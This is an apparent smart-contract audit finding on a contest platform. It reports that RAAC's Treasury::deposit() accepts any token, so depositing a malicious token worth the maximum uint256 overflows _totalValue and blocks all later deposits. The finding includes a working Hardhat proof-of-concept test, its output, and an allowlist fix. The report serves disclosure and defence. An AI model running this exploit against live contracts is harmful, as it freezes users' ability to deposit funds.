Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

A malicious user calls `Treasury::deposit()` to deposit a malicious token, which prevents anyone from depositing tokens

Summary

A malicious user can exploit the lack of a token whitelist in the Treasury::deposit() function to deposit an arbitrary ERC-20 token with a maximum possible value. This causes an overflow in _totalValue, rendering the contract unable to accept any further deposits.

Vulnerability Details

The Treasury::deposit() function does not validate the token address against an allowlist, enabling attackers to deploy and deposit arbitrary ERC-20 tokens. By depositing type(uint256).max, the _totalValue variable overflows, leading to a denial-of-service condition that prevents legitimate users from depositing any tokens.

Code Snippet

uint256 private _totalValue;
// Treasury::deposit()
function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
@> _totalValue += amount;
emit Deposited(token, amount);
}

Poc

The following test demonstrates the issue by deploying a malicious ERC-20 token and depositing type(uint256).max, triggering an overflow in _totalValue.

Add the following test to test/unit/core/collectors/Treasury.test.js and execute it:

import { MaxUint256 } from "ethers";
describe("Malicious Blocking Deposits", () => {
beforeEach(async () => {
const maxUint256 = BigInt(MaxUint256);
// deploy token
const MockToken = await ethers.getContractFactory("MockToken");
let maliciousToken = await MockToken.deploy("maliciousToken", "maliciousToken", 18);
// mint token
await maliciousToken.mint(user2.address, maxUint256);
// deposit token
await maliciousToken.connect(user2).approve(treasury.getAddress(), maxUint256);
await treasury.connect(user2).deposit(maliciousToken.getAddress(), maxUint256);
await token.connect(user1).approve(treasury.getAddress(), ethers.parseEther("1000"));
});
// A malicious user deposits maxUint256, causing `_totalValue` to overflow and unable to deposit tokens
it("Tokens cannot be deposited due to malicious attacks", async () => {
const amount = ethers.parseEther("100");
await expect(
treasury.connect(user1).deposit(token.getAddress(), amount)).to.be.revertedWithPanic(0x11);
});
});

output:

2025-02-raac$ npx hardhat test test/unit/core/collectors/Treasury.test.js --grep "Malicious Blocking Deposits"
Treasury
Malicious Blocking Deposits
✔ Tokens cannot be deposited due to malicious attacks (849ms)
1 passing (18s)

Impact

This vulnerability effectively disables the Treasury::deposit() function, preventing legitimate users from depositing any tokens once the overflow occurs.

Tools Used

Manual Review

Recommendations

Implement a token allowlist in the contract to restrict deposits to pre-approved tokens. Any token not on the allowlist should be rejected to prevent malicious deposits.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.